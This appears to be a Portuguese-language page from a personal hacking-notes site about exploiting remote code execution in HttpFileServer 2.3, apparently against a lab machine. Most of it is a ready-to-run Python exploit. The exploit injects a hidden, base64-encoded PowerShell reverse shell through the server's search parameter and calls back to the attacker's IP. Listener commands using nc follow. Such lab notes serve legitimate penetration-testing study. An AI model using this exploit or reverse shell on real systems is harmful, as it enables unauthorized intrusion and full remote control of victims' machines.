> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/httpfileserver-2.3-cms-exploitation.md).
# HttpFileServer 2.3
Um servidor web HttpFileServer 2.3 é descoberto. Esta versão é vulnerável à execução remota de código (RCE).
### **Busca de Exploit**
Comando:
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**Script Python Personalizado**
**Script Python Personalizado**
Modifique o script para incluir os seguintes parâmetros:
* `LHOST` : seu IP local (VPN).
* `LPORT` : porta local do listener (ex. 4444).
* `RHOST`: IP do alvo.
* `RPORT`: porta do serviço vulnerável, por exemplo 80.
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Defina o comando a ser gravado em um arquivo
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Codifique o comando em formato base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nComando codificado em formato base64...")
# Defina a carga útil a ser incluída na URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Codifique a carga útil e envie uma requisição HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nCarga útil codificada e uma requisição HTTP GET enviada ao alvo...")
# Imprima algumas informações
print("/nImprimindo algumas informações para depuração...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# Aguarde conexões
print("/nAguardando conexão...")
os.system(f'nc -nlvp {lport}')
```
Configure sua máquina como listener:
```bash
rlwrap nc -nlvp 4444
```
---
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